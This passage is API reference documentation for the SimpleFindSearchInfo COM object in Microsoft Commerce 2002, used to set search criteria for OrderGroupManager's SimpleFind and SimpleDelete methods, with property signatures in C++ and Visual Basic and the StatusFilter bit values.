Use this object to specify search criteria when conducting searching and deleting operations using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

ProgID: | Commerce.SimpleFindSearchInfo (Externally creatable)
COM Class Name: | SimpleFindSearchInfo
Type Library Name: | Microsoft Commerce 2002 OrderGroup Type Library
DLL Name: | requisition.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SimpleFindSearchInfo
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _SimpleFindSearchInfo interface to access the properties and methods of the SimpleFindSearchInfo object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Properties

[C++]
Property | Type | Description
description | VARIANT | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | VARIANT | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | VARIANT | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | VARIANT | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | VARIANT | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | VARIANT | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | VARIANT | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | VARIANT | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | VARIANT | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | VARIANT | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | VARIANT | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | VARIANT | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | VARIANT | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.
[Visual Basic]
Property | Type | Description
description | Variant | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Variant | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Variant | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Variant | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Variant | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Variant | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Variant | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Variant | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | Variant | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Variant | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Variant | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Variant | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Variant | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.

See Also

[C++] Business Process Objects

[C++] SimpleFindResultInfo Object

[C++] OrderGroupManager Object

[C++] OrderGroup Object

[C++] OrderForm Object

[Visual Basic] Business Process Objects

[Visual Basic] SimpleFindResultInfo Object

[Visual Basic] OrderGroupManager Object

[Visual Basic] OrderGroup Object

[Visual Basic] OrderForm Object


_SimpleFindSearchInfo Properties [C++]

SimpleFindSearchInfo Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
description | VARIANT | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | VARIANT | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | VARIANT | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | VARIANT | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | VARIANT | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | VARIANT | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | VARIANT | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | VARIANT | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | VARIANT | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | VARIANT | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | VARIANT | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | VARIANT | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | VARIANT | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.
[Visual Basic]
Property | Type | Description
description | Variant | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Variant | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Variant | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Variant | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Variant | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Variant | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Variant | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Variant | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Long | Specifies the OrderGroup status. This property allows the user to filter the status (ie basket, template or new order). This property is read/write.
user_firstname | Variant | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Variant | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Variant | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Variant | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Variant | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.


_SimpleFindSearchInfo::get_description, put_description Property [C++]

SimpleFindSearchInfo.description Property [Visual Basic]

The description property is a read/write Variant that specifies the product description to search for; if left null, the product description does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_description(
  VARIANT* description
);

Put method:

HRESULT _SimpleFindSearchInfo::put_description(
  VARIANT* description
);
[Visual Basic]
Property description As Variant

Parameters

description [C++]
[in] When putting the property, a VARIANT that contains the item description to search for.
[out, retval] When getting the property, a VARIANT used to return the item description to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The description parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_order_number, put_order_number Property [C++]

SimpleFindSearchInfo.order_number Property [Visual Basic]

The order_number property is a read/write Variant that specifies the order number to search for; if left null, the order number does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_order_number(
  VARIANT* order_number
);

Put method:

HRESULT _SimpleFindSearchInfo::put_order_number(
  VARIANT* order_number
);
[Visual Basic]
Property order_number As Variant

Parameters

order_number [C++]
[in] When putting the property, a VARIANT that contains the order number to search for.
[out, retval] When getting the property, a VARIANT used to return the order number to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The order_number parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_ordergroup_id, put_ordergroup_id Property [C++]

SimpleFindSearchInfo.ordergroup_id Property [Visual Basic]

The ordergroup_id property is a read/write Variant that contains the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_ordergroup_id(
  VARIANT* ordergroup_id
);

Put method:

HRESULT _SimpleFindSearchInfo::put_ordergroup_id(
  VARIANT* ordergroup_id
);
[Visual Basic]
Property ordergroup_id As Variant

Parameters

ordergroup_id [C++]
[in] When putting the property, a VARIANT that contains the OrderGroup ID to search for.
[out, retval] When getting the property, a VARIANT used to return the OrderGroup ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The ordergroup_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_po_number, put_po_number Property [C++]

SimpleFindSearchInfo.po_number Property [Visual Basic]

The po_number property is a read/write Variant that contains the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_po_number(
  VARIANT* po_number
);

Put method:

HRESULT _SimpleFindSearchInfo::put_po_number(
  VARIANT* po_number
);
[Visual Basic]
Property po_number As Variant

Parameters

po_number [C++]
[in] When putting the property, a VARIANT that contains the OrderForm ID to search for.
[out, retval] When getting the property, a VARIANT used to return the OrderForm ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The po_number parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_product_id, put_product_id Property [C++]

SimpleFindSearchInfo.product_id Property [Visual Basic]

The product_id property is a read/write Variant that contains the product ID to search for; if left null, the product ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_product_id(
  VARIANT* product_id
);

Put method:

HRESULT _SimpleFindSearchInfo::put_product_id(
  VARIANT* product_id
);
[Visual Basic]
Property product_id As Variant

Parameters

product_id [C++]
[in] When putting the property, a VARIANT that contains the product ID to search for.
[out, retval] When getting the property, a VARIANT used to return the product ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The product_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_SearchDateTimeColumn, put_SearchDateTimeColumn Property [C++]

SimpleFindSearchInfo.SearchDateTimeColumn Property [Visual Basic]

The SearchDateTimeColumn property is a read/write Variant that contains the name of the DateTime column to use in the search. If left null, the DateTime column name does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_SearchDateTimeColumn(
  VARIANT* SearchDateTimeColumn
);

Put method:

HRESULT _SimpleFindSearchInfo::put_SearchDateTimeColumn(
  VARIANT* SearchDateTimeColumn
);
[Visual Basic]
Property SearchDateTimeColumn As Variant

Parameters

SearchDateTimeColumn [C++]
[in] When putting the property, a VARIANT that contains the name of the DateTime column to use in the search.
[out, retval] When getting the property, a VARIANT used to return the name of the DateTime column to use in the search.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The SearchDateTimeColumn parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_SearchDateTimeEnd, put_SearchDateTimeEnd Property [C++]

SimpleFindSearchInfo.SearchDateTimeEnd Property [Visual Basic]

The SearchDateTimeEnd property is a read/write Variant that contains the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_SearchDateTimeEnd(
  VARIANT* SearchDateTimeEnd
);

Put method:

HRESULT _SimpleFindSearchInfo::put_SearchDateTimeEnd(
  VARIANT* SearchDateTimeEnd
);
[Visual Basic]
Property SearchDateTimeEnd As Variant

Parameters

SearchDateTimeEnd [C++]
[in] When putting the property, a VARIANT that contains the DateTime end value to search for.
[out, retval] When getting the property, a VARIANT used to return the DateTime end value to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The SearchDateTimeEnd parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_SearchDateTimeStart, put_SearchDateTimeStart Property [C++]

SimpleFindSearchInfo.SearchDateTimeStart Property [Visual Basic]

The SearchDateTimeStart property is a read/write Variant that contains the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_SearchDateTimeStart(
  VARIANT* SearchDateTimeStart
);

Put method:

HRESULT _SimpleFindSearchInfo::put_SearchDateTimeStart(
  VARIANT* SearchDateTimeStart
);
[Visual Basic]
Property SearchDateTimeStart As Variant

Parameters

SearchDateTimeStart [C++]
[in] When putting the property, a VARIANT that contains the DateTime start value to search for.
[out, retval] When getting the property, a VARIANT used to return the DateTime start value to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The SearchDateTimeStart parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_StatusFilter, put_StatusFilter Property [C++]

SimpleFindSearchInfo.StatusFilter Property [Visual Basic]

The StatusFilter property is a read/write Variant that contains the OrderGroup status.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_StatusFilter(
  long* StatusFilter
);

Put method:

HRESULT _SimpleFindSearchInfo::put_StatusFilter(
  long StatusFilter
);
[Visual Basic]
Property StatusFilter As Long

Parameters

StatusFilter [C++]
[in] When putting the property, a long that contains the OrderGroup status.
[out, retval] When getting the property, a long used to return the OrderGroup status.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The StatusFilter parameter contains valid data only if the property is accessed successfully.

The value of the StatusFilter parameter determines whether a search is being made for a basket, an order, a template, or a combination of these. A bit field is used to determine this. The following table shows the meaning of the individual bits.

Status Type | Value
Basket | 1
Template | 2
New Order | 4
Custom | 8
Custom | 16

Note

  • Because the contents of baskets and templates are held in one table, and the contents of OrderGroups with all other status codes (codes 4 and greater) are held elsewhere, only certain values are permissible for searches.

    The following values are permissible:

    • 1 (basket search)
    • 2 (template search)
    • 3 (basket or template)
    • 4 (new order)
    • 12 ( 4 & 8)
    • 24 (8 & 16)

    The following values are not permissible:

    • 5 (basket or new order)
    • 6 (template or new order)
    • 9 (1 & 8)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_firstname, put_user_firstname Property [C++]

SimpleFindSearchInfo.user_firstname Property [Visual Basic]

The user_firstname property is a read/write Variant that contains the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_firstname(
  VARIANT* user_firstname
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_firstname(
  VARIANT* user_firstname
);
[Visual Basic]
Property user_firstname As Variant

Parameters

user_firstname [C++]
[in] When putting the property, a VARIANT that contains the first name of the user to search for.
[out, retval] When getting the property, a VARIANT used to return the first name of the user to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_firstname parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_id, put_user_id Property [C++]

SimpleFindSearchInfo.user_id Property [Visual Basic]

The user_id property is a read/write Variant that contains the user ID to search for; if left null, the user ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_id(
  VARIANT* user_id
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_id(
  VARIANT* user_id
);
[Visual Basic]
Property user_id As Variant

Parameters

user_id [C++]
[in] When putting the property, a VARIANT that contains the user ID to search for.
[out, retval] When getting the property, a VARIANT used to return the user ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_lastname, put_user_lastname Property [C++]

SimpleFindSearchInfo.user_lastname Property [Visual Basic]

The user_lastname property is a read/write Variant that contains the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_lastname(
  VARIANT* user_lastname
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_lastname(
  VARIANT* user_lastname
);
[Visual Basic]
Property user_lastname As Variant

Parameters

user_lastname [C++]
[in] When putting the property, a VARIANT that contains the last name of the user to search for.
[out, retval] When getting the property, a VARIANT used to return the last name of the user to search for.

[Visual Basic] None.

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The user_lastname parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_org_id, put_user_org_id Property [C++]

SimpleFindSearchInfo.user_org_id Property [Visual Basic]

The user_org_id property is a read/write Variant that contains the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_org_id(
  VARIANT* user_org_id
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_org_id(
  VARIANT* user_org_id
);
[Visual Basic]
Property user_org_id As Variant

Parameters

user_org_id [C++]
[in] When putting the property, a VARIANT that contains the user organization ID to search for.
[out, retval] When getting the property, a VARIANT used to return the user organization ID to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_org_id parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


_SimpleFindSearchInfo::get_user_org_name, put_user_org_name Property [C++]

SimpleFindSearchInfo.user_org_name Property [Visual Basic]

The user_org_name property is a read/write Variant that contains the user organization name to search for; if left null, the user organization name does not become part of the search criteria.

Definition

[C++]

Get method:

HRESULT _SimpleFindSearchInfo::get_user_org_name(
  VARIANT* user_org_name
);

Put method:

HRESULT _SimpleFindSearchInfo::put_user_org_name(
  VARIANT* user_org_name
);
[Visual Basic]
Property user_org_name As Variant

Parameters

user_org_name [C++]
[in] When putting the property, a VARIANT that contains the user organization name to search for.
